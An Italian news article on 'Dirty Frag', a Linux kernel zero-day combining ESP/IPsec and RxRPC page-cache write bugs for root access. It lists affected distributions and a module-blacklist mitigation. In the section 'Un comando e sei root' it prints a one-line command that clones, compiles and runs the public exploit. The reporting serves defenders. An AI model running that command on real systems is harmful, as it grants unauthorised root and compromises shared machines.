Dirty Frag: zero-day Linux senza patch consente accesso root con un solo comando - come proteggersi in attesa della patch

Basta un singolo comando e un qualsiasi account utente su una macchina Linux diventa root. Non è un'ipotesi accademica, non è un proof-of-concept che funziona solo in laboratorio con il vento a favore. Dirty Frag è una vulnerabilità zero-day di escalation locale dei privilegi che oggi, 8 maggio 2026, colpisce tutte le principali distribuzioni Linux - e per cui non esiste ancora alcuna patch né un identificativo CVE

La falla è stata scoperta dal ricercatore di sicurezza coreano Hyunwoo Kim (noto online come @v4bel), che l'aveva segnalata al team del kernel Linux il 30 aprile scorso. La divulgazione coordinata era fissata per il 12 maggio, ma un soggetto terzo ha violato l'embargo prima che qualsiasi distribuzione potesse rilasciare una correzione. A quel punto Kim, dopo essersi consultato con i manutentori della lista linux-distros@vs.openwall.org, ha pubblicato su GitHub l'exploit completo, uno script di mitigazione e un'analisi tecnica dettagliata. Il ragionamento: se l'informazione è già fuori, tanto vale che i difensori abbiano tutti gli strumenti per proteggersi.

Due vulnerabilità, copertura universale

Dirty Frag appartiene alla stessa famiglia di bug che ha prodotto Dirty Pipe e Copy Fail (quest'ultima dotata di CVE-2026-31431): tutte sfruttano il page cache del kernel Linux attraverso operazioni zero-copy su pagine "pinnate" tramite splice.

» Leggi: "Copy Fail": nuova vulnerabilità in Linux permette di divenire root senza permesso

Il meccanismo, però, è più raffinato dei predecessori. Non si tratta di una race condition: è un bug logico deterministico. Non richiede tempismo, non causa crash del kernel in caso di fallimento e riesce al primo tentativo.

La copertura universale nasce dal concatenare due vulnerabilità indipendenti che, prese singolarmente, non colpiscono tutte le distribuzioni. Insieme formano una coppia complementare che non lascia scoperture.

La prima risiede nello stack IPsec/ESP, specificamente nella funzione esp_input() dei moduli kernel esp4 ed esp6. Il codice incriminato risale al commit cac2661c53f3 del 17 gennaio 2017 - quasi nove anni fa. Quando un socket buffer non lineare che trasporta un riferimento a una pagina del page cache pinnata tramite splice aggira il controllo copy-on-write di skb_cow_data(), il percorso di decifratura ESP esegue una scrittura diretta di 4 byte nella page cache. L'attaccante controlla sia l'offset del file sia il valore scritto: una primitiva di scrittura arbitraria chirurgica. Il vincolo è che richiede la creazione di un namespace non privilegiato, operazione che su Ubuntu può essere bloccata dalla policy AppArmor.

Ed è qui che entra in gioco la seconda vulnerabilità, localizzata nel sottosistema RxRPC/rxkad, nella funzione rxkad_verify_packet_1() del modulo rxrpc.ko. Presente dal giugno 2023, esegue una decifratura pcbc(fcrypt) da 8 byte direttamente su una pagina pinnata. Non richiede privilegi di namespace. L'exploit calcola la chiave di decifratura corretta interamente in spazio utente tramite forza bruta prima di attivare la scrittura nel kernel, mantenendo l'operazione completamente deterministica. Il modulo rxrpc.ko non è incluso di serie nella maggior parte delle distribuzioni, ma Ubuntu lo carica automaticamente - il che lo rende il vettore di fallback perfetto proprio sui sistemi dove AppArmor blocca il percorso ESP.

Un incastro diabolico: dove una via è chiusa, l'altra è aperta. Vale anche la pena sottolineare che la mitigazione applicata per Copy Fail - il blacklisting del modulo algif_aead - non serve a nulla, perché Dirty Frag colpisce sottosistemi kernel completamente diversi.

La lista dei bersagli confermati

Kim ha dimostrato l'exploit su un ventaglio impressionante di distribuzioni e kernel:

• Ubuntu 24.04.4 - kernel 6.17.0-23-generic
• RHEL 10.1 - kernel 6.12.0-124.49.1.el10_1.x86_64
• openSUSE Tumbleweed - kernel 7.0.2-1-default
• CentOS Stream 10 - kernel 6.12.0-224.el10.x86_64
• AlmaLinux 10 - kernel 6.12.0-124.52.3.el10_1.x86_64
• Fedora 44 - kernel 6.19.14-300.fc44.x86_64

Risultano inoltre colpiti Ubuntu 26, Arch Linux e WSL2. Tom's Hardware ha confermato indipendentemente il funzionamento dell'exploit su CachyOS con kernel 7.0.3-1-cachyos e su un sistema Arch aggiornato. La portata è essenzialmente totale: se il sistema esegue un kernel Linux moderno, è vulnerabile.

Un comando e sei root

L'exploit si compila e si esegue con una singola riga:

git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp

Nessuna dipendenza esotica, nessuna configurazione. In ambiente di hosting condiviso, un account utente compromesso - anche con i minimi privilegi - diventa immediatamente root. Server di sviluppo, ambienti accademici, macchine virtuali multiutente: qualsiasi contesto in cui più account coesistono sullo stesso kernel è esposto.

Un dettaglio da non trascurare: dopo l'esecuzione dell'exploit, la page cache resta contaminata. Per ripulirla è necessario eseguire echo 3 > /proc/sys/vm/drop_caches oppure riavviare il sistema.

Come proteggersi adesso

In assenza di patch, l'unica mitigazione disponibile consiste nel disabilitare e inserire in blacklist i tre moduli kernel coinvolti: esp4, esp6 e rxrpc. Kim fornisce un comando unico:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

I moduli in questione sono legati allo stack IPsec. Per la stragrande maggioranza dei sistemi che non operano come client o server IPsec, disabilitarli non comporta conseguenze funzionali. AlmaLinux risulta tra le prime distribuzioni ad aver messo in fase di test delle patch preliminari.

L'embargo rotto e le domande aperte

La dinamica della divulgazione merita attenzione. Kim ha seguito la procedura corretta: segnalazione privata al team del kernel il 30 aprile, embargo concordato fino al 12 maggio per dare tempo alle distribuzioni di preparare gli aggiornamenti. Qualcuno, però, ha diffuso le informazioni prima. Non è chiaro se si tratti di una scoperta parallela indipendente o di una fuga di notizie dalla catena di coordinamento. Tom's Hardware ha avanzato l'ipotesi che l'exploit fosse già in uso da parte di attori malevoli, ma si tratta di una speculazione esplicita della testata, non di un fatto confermato.

Dirty Frag non ha ancora un CVE assegnato. Nove anni di presenza silenziosa nel codice dello stack ESP, tre anni per il componente RxRPC, e ora un exploit pubblico senza correzione disponibile. Per ogni amministratore di sistema Linux il messaggio è uno solo: applicare la mitigazione immediatamente e monitorare i canali delle proprie distribuzioni non appena le patch saranno disponibili. Il tempo in cui il vostro sistema è esposto dipende da quanto velocemente agite - non da quanto velocemente agiscono i manutentori del kernel.

Fonti: tomshardware.com, phoronix.com, cyberkendra.com